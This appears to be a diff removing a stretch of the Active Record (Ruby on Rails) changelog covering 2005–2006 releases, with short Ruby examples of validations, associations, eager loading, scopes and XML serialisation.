- <tt>/^[\+\-]?\d+$/</tt> (if <tt>integer</tt> is set to true).
-
- class Person < ActiveRecord::Base
- validates_numericality_of :value, :on => :create
- end
-
- Configuration options:
- * <tt>message</tt> - A custom error message (default is: "is not a number")
- * <tt>on</tt> Specifies when this validation is active (default is :save, other options :create, :update)
- * <tt>only_integer</tt> Specifies whether the value has to be an integer, e.g. an integral value (default is false)
-
-
-* Fixed that HasManyAssociation#count was using :finder_sql rather than :counter_sql if it was available #445 [Scott Barron]
-
-* Added better defaults for composed_of, so statements like composed_of :time_zone, :mapping => %w( time_zone time_zone ) can be written without the mapping part (it's now assumed)
-
-* Added MacroReflection#macro which will return a symbol describing the macro used (like :composed_of or :has_many) #718, #248 [james@slashetc.com]
-
-
-*1.7.0* (24th February, 2005)
-
-* Changed the auto-timestamping feature to use ActiveRecord::Base.default_timezone instead of entertaining the parallel ActiveRecord::Base.timestamps_gmt method. The latter is now deprecated and will throw a warning on use (but still work) #710 [Jamis Buck]
-
-* Added a OCI8-based Oracle adapter that has been verified to work with Oracle 8 and 9 #629 [Graham Jenkins]. Usage notes:
-
- 1. Key generation uses a sequence "rails_sequence" for all tables. (I couldn't find a simple
- and safe way of passing table-specific sequence information to the adapter.)
- 2. Oracle uses DATE or TIMESTAMP datatypes for both dates and times. Consequently I have had to
- resort to some hacks to get data converted to Date or Time in Ruby.
- If the column_name ends in _at (like created_at, updated_at) it's created as a Ruby Time. Else if the
- hours/minutes/seconds are 0, I make it a Ruby Date. Else it's a Ruby Time.
- This is nasty - but if you use Duck Typing you'll probably not care very much.
- In 9i it's tempting to map DATE to Date and TIMESTAMP to Time but I don't think that is
- valid - too many databases use DATE for both.
- Timezones and sub-second precision on timestamps are not supported.
- 3. Default values that are functions (such as "SYSDATE") are not supported. This is a
- restriction of the way active record supports default values.
- 4. Referential integrity constraints are not fully supported. Under at least
- some circumstances, active record appears to delete parent and child records out of
- sequence and out of transaction scope. (Or this may just be a problem of test setup.)
-
- The OCI8 driver can be retrieved from http://rubyforge.org/projects/ruby-oci8/
-
-* Added option :schema_order to the PostgreSQL adapter to support the use of multiple schemas per database #697 [YuriSchimke]
-
-* Optimized the SQL used to generate has_and_belongs_to_many queries by listing the join table first #693 [yerejm]
-
-* Fixed that when using validation macros with a custom message, if you happened to use single quotes in the message string you would get a parsing error #657 [tonka]
-
-* Fixed that Active Record would throw Broken Pipe errors with FCGI when the MySQL connection timed out instead of reconnecting #428 [Nicholas Seckar]
-
-* Added options to specify an SSL connection for MySQL. Define the following attributes in the connection config (config/database.yml in Rails) to use it: sslkey, sslcert, sslca, sslcapath, sslcipher. To use SSL with no client certs, just set :sslca = '/dev/null'. http://dev.mysql.com/doc/mysql/en/secure-connections.html #604 [daniel@nightrunner.com]
-
-* Added automatic dropping/creating of test tables for running the unit tests on all databases #587 [adelle@bullet.net.au]
-
-* Fixed that find_by_* would fail when column names had numbers #670 [demetrius]
-
-* Fixed the SQL Server adapter on a bunch of issues #667 [DeLynn]
-
- 1. Created a new columns method that is much cleaner.
- 2. Corrected a problem with the select and select_all methods
- that didn't account for the LIMIT clause being passed into raw SQL statements.
- 3. Implemented the string_to_time method in order to create proper instances of the time class.
- 4. Added logic to the simplified_type method that allows the database to specify the scale of float data.
- 5. Adjusted the quote_column_name to account for the fact that MS SQL is bothered by a forward slash in the data string.
-
-* Fixed that the dynamic finder like find_all_by_something_boolean(false) didn't work #649 [lmarlow]
-
-* Added validates_each that validates each specified attribute against a block #610 [Jeremy Kemper]. Example:
-
- class Person < ActiveRecord::Base
- validates_each :first_name, :last_name do |record, attr|
- record.errors.add attr, 'starts with z.' if attr[0] == ?z
- end
- end
-
-* Added :allow_nil as an explicit option for validates_length_of, so unless that's set to true having the attribute as nil will also return an error if a range is specified as :within #610 [Jeremy Kemper]
-
-* Added that validates_* now accept blocks to perform validations #618 [Tim Bates]. Example:
-
- class Person < ActiveRecord::Base
- validate { |person| person.errors.add("title", "will never be valid") if SHOULD_NEVER_BE_VALID }
- end
-
-* Addded validation for validate all the associated objects before declaring failure with validates_associated #618 [Tim Bates]
-
-* Added keyword-style approach to defining the custom relational bindings #545 [Jamis Buck]. Example:
-
- class Project < ActiveRecord::Base
- primary_key "sysid"
- table_name "XYZ_PROJECT"
- inheritance_column { original_inheritance_column + "_id" }
- end
-
-* Fixed Base#clone for use with PostgreSQL #565 [hanson@surgery.wisc.edu]
-
-
-*1.6.0* (January 25th, 2005)
-
-* Added that has_many association build and create methods can take arrays of record data like Base#create and Base#build to build/create multiple records at once.
-
-* Added that Base#delete and Base#destroy both can take an array of ids to delete/destroy #336
-
-* Added the option of supplying an array of attributes to Base#create, so that multiple records can be created at once.
-
-* Added the option of supplying an array of ids and attributes to Base#update, so that multiple records can be updated at once (inspired by #526/Duane Johnson). Example
-
- people = { 1 => { "first_name" => "David" }, 2 => { "first_name" => "Jeremy"} }
- Person.update(people.keys, people.values)
-
-* Added ActiveRecord::Base.timestamps_gmt that can be set to true to make the automated timestamping use GMT instead of local time #520 [Scott Baron]
-
-* Added that update_all calls sanitize_sql on its updates argument, so stuff like MyRecord.update_all(['time = ?', Time.now]) works #519 [notahat]
-
-* Fixed that the dynamic finders didn't treat nil as a "IS NULL" but rather "= NULL" case #515 [Demetrius]
-
-* Added bind-named arrays for interpolating a group of ids or strings in conditions #528 [Jeremy Kemper]
-
-* Added that has_and_belongs_to_many associations with additional attributes also can be created between unsaved objects and only committed to the database when Base#save is called on the associator #524 [Eric Anderson]
-
-* Fixed that records fetched with piggy-back attributes or through rich has_and_belongs_to_many associations couldn't be saved due to the extra attributes not part of the table #522 [Eric Anderson]
-
-* Added mass-assignment protection for the inheritance column -- regardless of a custom column is used or not
-
-* Fixed that association proxies would fail === tests like PremiumSubscription === @account.subscription
-
-* Fixed that column aliases didn't work as expected with the new MySql411 driver #507 [Demetrius]
-
-* Fixed that find_all would produce invalid sql when called sequentialy #490 [Scott Baron]
-
-
-*1.5.1* (January 18th, 2005)
-
-* Fixed that the belongs_to and has_one proxy would fail a test like 'if project.manager' -- this unfortunately also means that you can't call methods like project.manager.build unless there already is a manager on the project #492 [Tim Bates]
-
-* Fixed that the Ruby/MySQL adapter wouldn't connect if the password was empty #503 [Pelle]
-
-
-*1.5.0* (January 17th, 2005)
-
-* Fixed that unit tests for MySQL are now run as the "rails" user instead of root #455 [Eric Hodel]
-
-* Added validates_associated that enables validation of objects in an unsaved association #398 [Tim Bates]. Example:
-
- class Book < ActiveRecord::Base
- has_many :pages
- belongs_to :library
-
- validates_associated :pages, :library
- end
-
-* Added support for associating unsaved objects #402 [Tim Bates]. Rules that govern this addition:
-
- == Unsaved objects and associations
-
- You can manipulate objects and associations before they are saved to the database, but there is some special behaviour you should be
- aware of, mostly involving the saving of associated objects.
-
- === One-to-one associations
-
- * Assigning an object to a has_one association automatically saves that object, and the object being replaced (if there is one), in
- order to update their primary keys - except if the parent object is unsaved (new_record? == true).
- * If either of these saves fail (due to one of the objects being invalid) the assignment statement returns false and the assignment
- is cancelled.
- * If you wish to assign an object to a has_one association without saving it, use the #association.build method (documented below).
- * Assigning an object to a belongs_to association does not save the object, since the foreign key field belongs on the parent. It does
- not save the parent either.
-
- === Collections
-
- * Adding an object to a collection (has_many or has_and_belongs_to_many) automatically saves that object, except if the parent object
- (the owner of the collection) is not yet stored in the database.
- * If saving any of the objects being added to a collection (via #push or similar) fails, then #push returns false.
- * You can add an object to a collection without automatically saving it by using the #collection.build method (documented below).
- * All unsaved (new_record? == true) members of the collection are automatically saved when the parent is saved.
-
-* Added replace to associations, so you can do project.manager.replace(new_manager) or project.milestones.replace(new_milestones) #402 [Tim Bates]
-
-* Added build and create methods to has_one and belongs_to associations, so you can now do project.manager.build(attributes) #402 [Tim Bates]
-
-* Added that if a before_* callback returns false, all the later callbacks and the associated action are cancelled. If an after_* callback returns false, all the later callbacks are cancelled. Callbacks are generally run in the order they are defined, with the exception of callbacks defined as methods on the model, which are called last. #402 [Tim Bates]
-
-* Fixed that Base#== wouldn't work for multiple references to the same unsaved object #402 [Tim Bates]
-
-* Fixed binary support for PostgreSQL #444 [alex@byzantine.no]
-
-* Added a differenciation between AssociationCollection#size and -length. Now AssociationCollection#size returns the size of the
- collection by executing a SELECT COUNT(*) query if the collection hasn't been loaded and calling collection.size if it has. If
- it's more likely than not that the collection does have a size larger than zero and you need to fetch that collection afterwards,
- it'll take one less SELECT query if you use length.
-
-* Added Base#attributes that returns a hash of all the attributes with their names as keys and clones of their objects as values #433 [atyp.de]
-
-* Fixed that foreign keys named the same as the association would cause stack overflow #437 [Eric Anderson]
-
-* Fixed default scope of acts_as_list from "1" to "1 = 1", so it'll work in PostgreSQL (among other places) #427 [Alexey]
-
-* Added Base#reload that reloads the attributes of an object from the database #422 [Andreas Schwarz]
-
-* Added SQLite3 compatibility through the sqlite3-ruby adapter by Jamis Buck #381 [Jeremy Kemper]
-
-* Added support for the new protocol spoken by MySQL 4.1.1+ servers for the Ruby/MySQL adapter that ships with Rails #440 [Matt Mower]
-
-* Added that Observers can use the observes class method instead of overwriting self.observed_class().
-
- Before:
- class ListSweeper < ActiveRecord::Base
- def self.observed_class() [ List, Item ]
- end
-
- After:
- class ListSweeper < ActiveRecord::Base
- observes List, Item
- end
-
-* Fixed that conditions in has_many and has_and_belongs_to_many should be interpolated just like the finder_sql is
-
-* Fixed Base#update_attribute to be indifferent to whether a string or symbol is used to describe the name
-
-* Added Base#toggle(attribute) and Base#toggle!(attribute) that makes it easier to flip a switch or flag.
-
- Before: topic.update_attribute(:approved, !approved?)
- After : topic.toggle!(:approved)
-
-* Added Base#increment!(attribute) and Base#decrement!(attribute) that also saves the records. Example:
-
- page.views # => 1
- page.increment!(:views) # executes an UPDATE statement
- page.views # => 2
-
- page.increment(:views).increment!(:views)
- page.views # => 4
-
-* Added Base#increment(attribute) and Base#decrement(attribute) that encapsulates the += 1 and -= 1 patterns.
-
-
-
-
-*1.14.2* (April 9th, 2005)
-
-* Fixed calculations for the Oracle Adapter (closes #4626) [Michael Schoen]
-
-
-*1.14.1* (April 6th, 2006)
-
-* Fix type_name_with_module to handle type names that begin with '::'. Closes #4614. [Nicholas Seckar]
-
-* Fixed that that multiparameter assignment doesn't work with aggregations (closes #4620) [Lars Pind]
-
-* Enable Limit/Offset in Calculations (closes #4558) [lmarlow]
-
-* Fixed that loading including associations returns all results if Load IDs For Limited Eager Loading returns none (closes #4528) [Rick Olson]
-
-* Fixed HasManyAssociation#find bugs when :finder_sql is set #4600 [lagroue@free.fr]
-
-* Allow AR::Base#respond_to? to behave when @attributes is nil [Ryan Davis]
-
-* Support eager includes when going through a polymorphic has_many association. [Rick Olson]
-
-* Added support for eagerly including polymorphic has_one associations. (closes #4525) [Rick Olson]
-
- class Post < ActiveRecord::Base
- has_one :tagging, :as => :taggable
- end
-
- Post.find :all, :include => :tagging
-
-* Added descriptive error messages for invalid has_many :through associations: going through :has_one or :has_and_belongs_to_many [Rick Olson]
-
-* Added support for going through a polymorphic has_many association: (closes #4401) [Rick Olson]
-
- class PhotoCollection < ActiveRecord::Base
- has_many :photos, :as => :photographic
- belongs_to :firm
- end
-
- class Firm < ActiveRecord::Base
- has_many :photo_collections
- has_many :photos, :through => :photo_collections
- end
-
-* Multiple fixes and optimizations in PostgreSQL adapter, allowing ruby-postgres gem to work properly. [ruben.nine@gmail.com]
-
-* Fixed that AssociationCollection#delete_all should work even if the records of the association are not loaded yet. [Florian Weber]
-
-* Changed those private ActiveRecord methods to take optional third argument :auto instead of nil for performance optimizations. (closes #4456) [Stefan]
-
-* Private ActiveRecord methods add_limit!, add_joins!, and add_conditions! take an OPTIONAL third argument 'scope' (closes #4456) [Rick Olson]
-
-* DEPRECATED: Using additional attributes on has_and_belongs_to_many associations. Instead upgrade your association to be a real join model [David Heinemeier Hansson]
-
-* Fixed that records returned from has_and_belongs_to_many associations with additional attributes should be marked as read only (fixes #4512) [David Heinemeier Hansson]
-
-* Do not implicitly mark recordss of has_many :through as readonly but do mark habtm records as readonly (eventually only on join tables without rich attributes). [Marcel Mollina Jr.]
-
-* Fixed broken OCIAdapter #4457 [Michael Schoen]
-
-
-*1.14.0* (March 27th, 2006)
-
-* Replace 'rescue Object' with a finer grained rescue. Closes #4431. [Nicholas Seckar]
-
-* Fixed eager loading so that an aliased table cannot clash with a has_and_belongs_to_many join table [Rick Olson]
-
-* Add support for :include to with_scope [andrew@redlinesoftware.com]
-
-* Support the use of public synonyms with the Oracle adapter; required ruby-oci8 v0.1.14 #4390 [Michael Schoen]
-
-* Change periods (.) in table aliases to _'s. Closes #4251 [jeff@ministrycentered.com]
-
-* Changed has_and_belongs_to_many join to INNER JOIN for Mysql 3.23.x. Closes #4348 [Rick Olson]
-
-* Fixed issue that kept :select options from being scoped [Rick Olson]
-
-* Fixed db_schema_import when binary types are present #3101 [David Heinemeier Hansson]
-
-* Fixed that MySQL enums should always be returned as strings #3501 [David Heinemeier Hansson]
-
-* Change has_many :through to use the :source option to specify the source association. :class_name is now ignored. [Rick Olson]
-
- class Connection < ActiveRecord::Base
- belongs_to :user
- belongs_to :channel
- end
-
- class Channel < ActiveRecord::Base
- has_many :connections
- has_many :contacts, :through => :connections, :class_name => 'User' # OLD
- has_many :contacts, :through => :connections, :source => :user # NEW
- end
-
-* Fixed DB2 adapter so nullable columns will be determines correctly now and quotes from column default values will be removed #4350 [contact@maik-schmidt.de]
-
-* Allow overriding of find parameters in scoped has_many :through calls [Rick Olson]
-
- In this example, :include => false disables the default eager association from loading. :select changes the standard
- select clause. :joins specifies a join that is added to the end of the has_many :through query.
-
- class Post < ActiveRecord::Base
- has_many :tags, :through => :taggings, :include => :tagging do
- def add_joins_and_select
- find :all, :select => 'tags.*, authors.id as author_id', :include => false,
- :joins => 'left outer join posts on taggings.taggable_id = posts.id left outer join authors on posts.author_id = authors.id'
- end
- end
- end
-
-* Fixed that schema changes while the database was open would break any connections to an SQLite database (now we reconnect if that error is throw) [David Heinemeier Hansson]
-
-* Don't classify the has_one class when eager loading, it is already singular. Add tests. (closes #4117) [Jonathan Viney]
-
-* Quit ignoring default :include options in has_many :through calls [Mark James]
-
-* Allow has_many :through associations to find the source association by setting a custom class (closes #4307) [Jonathan Viney]
-
-* Eager Loading support added for has_many :through => :has_many associations (see below). [Rick Olson]
-
-* Allow has_many :through to work on has_many associations (closes #3864) [sco@scottraymond.net] Example:
-
- class Firm < ActiveRecord::Base
- has_many :clients
- has_many :invoices, :through => :clients
- end
-
- class Client < ActiveRecord::Base
- belongs_to :firm
- has_many :invoices
- end
-
- class Invoice < ActiveRecord::Base
- belongs_to :client
- end
-
-* Raise error when trying to select many polymorphic objects with has_many :through or :include (closes #4226) [Josh Susser]
-
-* Fixed has_many :through to include :conditions set on the :through association. closes #4020 [Jonathan Viney]
-
-* Fix that has_many :through honors the foreign key set by the belongs_to association in the join model (closes #4259) [andylien@gmail.com / Rick Olson]
-
-* SQL Server adapter gets some love #4298 [Ryan Tomayko]
-
-* Added OpenBase database adapter that builds on top of the http://www.spice-of-life.net/ruby-openbase/ driver. All functionality except LIMIT/OFFSET is supported #3528 [derrickspell@cdmplus.com]
-
-* Rework table aliasing to account for truncated table aliases. Add smarter table aliasing when doing eager loading of STI associations. This allows you to use the association name in the order/where clause. [Jonathan Viney / Rick Olson] #4108 Example (SpecialComment is using STI):
-
- Author.find(:all, :include => { :posts => :special_comments }, :order => 'special_comments.body')
-
-* Add AbstractAdapter#table_alias_for to create table aliases according to the rules of the current adapter. [Rick Olson]
-
-* Provide access to the underlying database connection through Adapter#raw_connection. Enables the use of db-specific methods without complicating the adapters. #2090 [Michael Koziarski]
-
-* Remove broken attempts at handling columns with a default of 'now()' in the postgresql adapter. #2257 [Michael Koziarski]
-
-* Added connection#current_database that'll return of the current database (only works in MySQL, SQL Server, and Oracle so far -- please help implement for the rest of the adapters) #3663 [Tom Ward]
-
-* Fixed that Migration#execute would have the table name prefix appended to its query #4110 [mark.imbriaco@pobox.com]
-
-* Make all tinyint(1) variants act like boolean in mysql (tinyint(1) unsigned, etc.) [Jamis Buck]
-
-* Use association's :conditions when eager loading. [Jeremy Evans] #4144
-
-* Alias the has_and_belongs_to_many join table on eager includes. #4106 [Jeremy Evans]
-
- This statement would normally error because the projects_developers table is joined twice, and therefore joined_on would be ambiguous.
-
- Developer.find(:all, :include => {:projects => :developers}, :conditions => 'join_project_developers.joined_on IS NOT NULL')
-
-* Oracle adapter gets some love #4230 [Michael Schoen]
-
- * Changes :text to CLOB rather than BLOB [Moses Hohman]
- * Fixes an issue with nil numeric length/scales (several)
- * Implements support for XMLTYPE columns [wilig / Kubo Takehiro]
- * Tweaks a unit test to get it all green again
- * Adds support for #current_database
-
-* Added Base.abstract_class? that marks which classes are not part of the Active Record hierarchy #3704 [Rick Olson]
-
- class CachedModel < ActiveRecord::Base
- self.abstract_class = true
- end
-
- class Post < CachedModel
- end
-
- CachedModel.abstract_class?
- => true
-
- Post.abstract_class?
- => false
-
- Post.base_class
- => Post
-
- Post.table_name
- => 'posts'
-
-* Allow :dependent options to be used with polymorphic joins. #3820 [Rick Olson]
-
- class Foo < ActiveRecord::Base
- has_many :attachments, :as => :attachable, :dependent => :delete_all
- end
-
-* Nicer error message on has_many :through when :through reflection can not be found. #4042 [court3nay]
-
-* Upgrade to Transaction::Simple 1.3 [Jamis Buck]
-
-* Catch FixtureClassNotFound when using instantiated fixtures on a fixture that has no ActiveRecord model [Rick Olson]
-
-* Allow ordering of calculated results and/or grouped fields in calculations [solo@gatelys.com]
-
-* Make ActiveRecord::Base#save! return true instead of nil on success. #4173 [johan@johansorensen.com]
-
-* Dynamically set allow_concurrency. #4044 [Stefan Kaes]
-
-* Added Base#to_xml that'll turn the current record into a XML representation [David Heinemeier Hansson]. Example:
-
- topic.to_xml
-
- ...returns:
-
- <?xml version="1.0" encoding="UTF-8"?>
- <topic>
- <title>The First Topic</title>
- <author-name>David</author-name>
- <id type="integer">1</id>
- <approved type="boolean">false</approved>
- <replies-count type="integer">0</replies-count>
- <bonus-time type="datetime">2000-01-01 08:28:00</bonus-time>
- <written-on type="datetime">2003-07-16 09:28:00</written-on>
- <content>Have a nice day</content>
- <author-email-address>david@loudthinking.com</author-email-address>
- <parent-id></parent-id>
- <last-read type="date">2004-04-15</last-read>
- </topic>
-
- ...and you can configure with:
-
- topic.to_xml(:skip_instruct => true, :except => [ :id, bonus_time, :written_on, replies_count ])
-
- ...that'll return:
-
- <topic>
- <title>The First Topic</title>
- <author-name>David</author-name>
- <approved type="boolean">false</approved>
- <content>Have a nice day</content>
- <author-email-address>david@loudthinking.com</author-email-address>
- <parent-id></parent-id>
- <last-read type="date">2004-04-15</last-read>
- </topic>
-
- You can even do load first-level associations as part of the document:
-
- firm.to_xml :include => [ :account, :clients ]
-
- ...that'll return something like:
-
- <?xml version="1.0" encoding="UTF-8"?>
- <firm>
- <id type="integer">1</id>
- <rating type="integer">1</rating>
- <name>37signals</name>
- <clients>
- <client>
- <rating type="integer">1</rating>
- <name>Summit</name>
- </client>
- <client>
- <rating type="integer">1</rating>
- <name>Microsoft</name>
- </client>
- </clients>
- <account>
- <id type="integer">1</id>
- <credit-limit type="integer">50</credit-limit>
- </account>
- </firm>
-
-* Allow :counter_cache to take a column name for custom counter cache columns [Jamis Buck]
-
-* Documentation fixes for :dependent [robby@planetargon.com]
-
-* Stop the MySQL adapter crashing when views are present. #3782 [Jonathan Viney]
-
-* Don't classify the belongs_to class, it is already singular #4117 [keithm@infused.org]
-
-* Allow set_fixture_class to take Classes instead of strings for a class in a module. Raise FixtureClassNotFound if a fixture can't load. [Rick Olson]
-
-* Fix quoting of inheritance column for STI eager loading #4098 [Jonathan Viney <jonathan@bluewire.net.nz>]
-
-* Added smarter table aliasing for eager associations for multiple self joins #3580 [Rick Olson]
-
- * The first time a table is referenced in a join, no alias is used.
- * After that, the parent class name and the reflection name are used.
-
- Tree.find(:all, :include => :children) # LEFT OUTER JOIN trees AS tree_children ...
-
- * Any additional join references get a numerical suffix like '_2', '_3', etc.
-
-* Fixed eager loading problems with single-table inheritance #3580 [Rick Olson]. Post.find(:all, :include => :special_comments) now returns all posts, and any special comments that the posts may have. And made STI work with has_many :through and polymorphic belongs_to.
-
-* Added cascading eager loading that allows for queries like Author.find(:all, :include=> { :posts=> :comments }), which will fetch all authors, their posts, and the comments belonging to those posts in a single query (using LEFT OUTER JOIN) #3913 [anna@wota.jp]. Examples:
-
- # cascaded in two levels
- >> Author.find(:all, :include=>{:posts=>:comments})
- => authors
- +- posts
- +- comments
-
- # cascaded in two levels and normal association
- >> Author.find(:all, :include=>[{:posts=>:comments}, :categorizations])
- => authors
- +- posts
- +- comments
- +- categorizations
-
- # cascaded in two levels with two has_many associations
- >> Author.find(:all, :include=>{:posts=>[:comments, :categorizations]})
- => authors
- +- posts
- +- comments
- +- categorizations
-
- # cascaded in three levels
- >> Company.find(:all, :include=>{:groups=>{:members=>{:favorites}}})
- => companies
- +- groups
- +- members
- +- favorites
-
-* Make counter cache work when replacing an association #3245 [eugenol@gmail.com]
-
-* Make migrations verbose [Jamis Buck]
-
-* Make counter_cache work with polymorphic belongs_to [Jamis Buck]
-
-* Fixed that calling HasOneProxy#build_model repeatedly would cause saving to happen #4058 [anna@wota.jp]
-
-* Added Sybase database adapter that relies on the Sybase Open Client bindings (see http://raa.ruby-lang.org/project/sybase-ctlib) #3765 [John Sheets]. It's almost completely Active Record compliant (including migrations), but has the following caveats:
-
- * Does not support DATE SQL column types; use DATETIME instead.
- * Date columns on HABTM join tables are returned as String, not Time.
- * Insertions are potentially broken for :polymorphic join tables
- * BLOB column access not yet fully supported
-
-* Clear stale, cached connections left behind by defunct threads. [Jeremy Kemper]
-
-* CHANGED DEFAULT: set ActiveRecord::Base.allow_concurrency to false. Most AR usage is in single-threaded applications. [Jeremy Kemper]
-
-* Renamed the "oci" adapter to "oracle", but kept the old name as an alias #4017 [Michael Schoen]
-
-* Fixed that Base.save should always return false if the save didn't succeed, including if it has halted by before_save's #1861, #2477 [David Heinemeier Hansson]
-
-* Speed up class -> connection caching and stale connection verification. #3979 [Stefan Kaes]
-
-* Add set_fixture_class to allow the use of table name accessors with models which use set_table_name. [Kevin Clark]
-
-* Added that fixtures to placed in subdirectories of the main fixture files are also loaded #3937 [dblack@wobblini.net]
-
-* Define attribute query methods to avoid method_missing calls. #3677 [Jonathan Viney]
-
-* ActiveRecord::Base.remove_connection explicitly closes database connections and doesn't corrupt the connection cache. Introducing the disconnect! instance method for the PostgreSQL, MySQL, and SQL Server adapters; implementations for the others are welcome. #3591 [Simon Stapleton, Tom Ward]
-
-* Added support for nested scopes #3407 [anna@wota.jp]. Examples:
-
- Developer.with_scope(:find => { :conditions => "salary > 10000", :limit => 10 }) do
- Developer.find(:all) # => SELECT * FROM developers WHERE (salary > 10000) LIMIT 10
-
- # inner rule is used. (all previous parameters are ignored)
- Developer.with_exclusive_scope(:find => { :conditions => "name = 'Jamis'" }) do
- Developer.find(:all) # => SELECT * FROM developers WHERE (name = 'Jamis')
- end
-
- # parameters are merged
- Developer.with_scope(:find => { :conditions => "name = 'Jamis'" }) do
- Developer.find(:all) # => SELECT * FROM developers WHERE (( salary > 10000 ) AND ( name = 'Jamis' )) LIMIT 10
- end
- end
-
-* Fixed db2 connection with empty user_name and auth options #3622 [phurley@gmail.com]
-
-* Fixed validates_length_of to work on UTF-8 strings by using characters instead of bytes #3699 [Masao Mutoh]
-
-* Fixed that reflections would bleed across class boundaries in single-table inheritance setups #3796 [Lars Pind]
-
-* Added calculations: Base.count, Base.average, Base.sum, Base.minimum, Base.maxmium, and the generic Base.calculate. All can be used with :group and :having. Calculations and statitics need no longer require custom SQL. #3958 [Rick Olson]. Examples:
-
- Person.average :age
- Person.minimum :age
- Person.maximum :age
- Person.sum :salary, :group => :last_name
-
-* Renamed Errors#count to Errors#size but kept an alias for the old name (and included an alias for length too) #3920 [Luke Redpath]
-
-* Reflections don't attempt to resolve module nesting of association classes. Simplify type computation. [Jeremy Kemper]
-
-* Improved the Oracle OCI Adapter with better performance for column reflection (from #3210), fixes to migrations (from #3476 and #3742), tweaks to unit tests (from #3610), and improved documentation (from #2446) #3879 [Aggregated by schoenm@earthlink.net]
-
-* Fixed that the schema_info table used by ActiveRecord::Schema.define should respect table pre- and suffixes #3834 [rubyonrails@atyp.de]
-
-* Added :select option to Base.count that'll allow you to select something else than * to be counted on. Especially important for count queries using DISTINCT #3839 [Stefan Kaes]
-
-* Correct syntax error in mysql DDL, and make AAACreateTablesTest run first [Bob Silva]
-
-* Allow :include to be used with has_many :through associations #3611 [Michael Schoen]
-
-* PostgreSQL: smarter schema dumps using pk_and_sequence_for(table). #2920 [Blair Zajac]
-
-* SQLServer: more compatible limit/offset emulation. #3779 [Tom Ward]
-
-* Polymorphic join support for has_one associations (has_one :foo, :as => :bar) #3785 [Rick Olson]
-
-* PostgreSQL: correctly parse negative integer column defaults. #3776 [bellis@deepthought.org]
-
-* Fix problems with count when used with :include [Jeremy Hopple and Kevin Clark]
-
-* ActiveRecord::RecordInvalid now states which validations failed in its default error message [Tobias Lütke]
-
-* Using AssociationCollection#build with arrays of hashes should call build, not create [David Heinemeier Hansson]
-
-* Remove definition of reloadable? from ActiveRecord::Base to make way for new Reloadable code. [Nicholas Seckar]
-
-* Fixed schema handling for DB2 adapter that didn't work: an initial schema could be set, but it wasn't used when getting tables and indexes #3678 [Maik Schmidt]
-
-* Support the :column option for remove_index with the PostgreSQL adapter. #3661 [Shugo Maeda]
-
-* Add documentation for add_index and remove_index. #3600 [Manfred Stienstra <m.stienstra@fngtps.com>]
-
-* If the OCI library is not available, raise an exception indicating as much. #3593 [Michael Schoen]
-
-* Add explicit :order in finder tests as postgresql orders results differently by default. #3577. [Rick Olson]
-
-* Make dynamic finders honor additional passed in :conditions. #3569 [Oleg Pudeyev <pudeyo@rpi.edu>, Marcel Molina Jr.]
-
-* Show a meaningful error when the DB2 adapter cannot be loaded due to missing dependencies. [Nicholas Seckar]
-
-* Make .count work for has_many associations with multi line finder sql [Michael Schoen]
-
-* Add AR::Base.base_class for querying the ancestor AR::Base subclass [Jamis Buck]
-
-* Allow configuration of the column used for optimistic locking [wilsonb@gmail.com]
-
-* Don't hardcode 'id' in acts as list. [ror@philippeapril.com]
-
-* Fix date errors for SQLServer in association tests. #3406 [Kevin Clark]
-
-* Escape database name in MySQL adapter when creating and dropping databases. #3409 [anna@wota.jp]
-
-* Disambiguate table names for columns in validates_uniqueness_of's WHERE clause. #3423 [alex.borovsky@gmail.com]
-
-* .with_scope imposed create parameters now bypass attr_protected [Tobias Lütke]
-
-* Don't raise an exception when there are more keys than there are named bind variables when sanitizing conditions. [Marcel Molina Jr.]
-
-* Multiple enhancements and adjustments to DB2 adaptor. #3377 [contact@maik-schmidt.de]
-
-* Sanitize scoped conditions. [Marcel Molina Jr.]
-
-* Added option to Base.reflection_of_all_associations to specify a specific association to scope the call. For example Base.reflection_of_all_associations(:has_many) [David Heinemeier Hansson]
-
-* Added ActiveRecord::SchemaDumper.ignore_tables which tells SchemaDumper which tables to ignore. Useful for tables with funky column like the ones required for tsearch2. [Tobias Lütke]
-
-* SchemaDumper now doesn't fail anymore when there are unknown column types in the schema. Instead the table is ignored and a Comment is left in the schema.rb. [Tobias Lütke]
-
-* Fixed that saving a model with multiple habtm associations would only save the first one. #3244 [yanowitz-rubyonrails@quantumfoam.org, Florian Weber]
-
-* Fix change_column to work with PostgreSQL 7.x and 8.x. #3141 [wejn@box.cz, Rick Olson, Scott Barron]
-
-* removed :piggyback in favor of just allowing :select on :through associations. [Tobias Lütke]
-
-* made method missing delegation to class methods on relation target work on :through associations. [Tobias Lütke]
-
-* made .find() work on :through relations. [Tobias Lütke]
-
-* Fix typo in association docs. #3296. [Blair Zajac]
-
-* Fixed :through relations when using STI inherited classes would use the inherited class's name as foreign key on the join model [Tobias Lütke]
-
-*1.13.2* (December 13th, 2005)
-
-* Become part of Rails 1.0
-
-* MySQL: allow encoding option for mysql.rb driver. [Jeremy Kemper]
-
-* Added option inheritance for find calls on has_and_belongs_to_many and has_many assosociations [David Heinemeier Hansson]. Example:
-
- class Post
- has_many :recent_comments, :class_name => "Comment", :limit => 10, :include => :author
- end
-
- post.recent_comments.find(:all) # Uses LIMIT 10 and includes authors
- post.recent_comments.find(:all, :limit => nil) # Uses no limit but include authors
- post.recent_comments.find(:all, :limit => nil, :include => nil) # Uses no limit and doesn't include authors
-
-* Added option to specify :group, :limit, :offset, and :select options from find on has_and_belongs_to_many and has_many assosociations [David Heinemeier Hansson]
-
-* MySQL: fixes for the bundled mysql.rb driver. #3160 [Justin Forder]
-
-* SQLServer: fix obscure optimistic locking bug. #3068 [kajism@yahoo.com]
-
-* SQLServer: support uniqueidentifier columns. #2930 [keithm@infused.org]
-
-* SQLServer: cope with tables names qualified by owner. #3067 [jeff@ministrycentered.com]
-
-* SQLServer: cope with columns with "desc" in the name. #1950 [Ron Lusk, Ryan Tomayko]
-
-* SQLServer: cope with primary keys with "select" in the name. #3057 [rdifrango@captechventures.com]
-
-* Oracle: active? performs a select instead of a commit. #3133 [Michael Schoen]
-
-* MySQL: more robust test for nullified result hashes. #3124 [Stefan Kaes]
-
-* Reloading an instance refreshes its aggregations as well as its associations. #3024 [François Beausoleil]
-
-* Fixed that using :include together with :conditions array in Base.find would cause NoMethodError #2887 [Paul Hammmond]
-
-* PostgreSQL: more robust sequence name discovery. #3087 [Rick Olson]
-
-* Oracle: use syntax compatible with Oracle 8. #3131 [Michael Schoen]
-
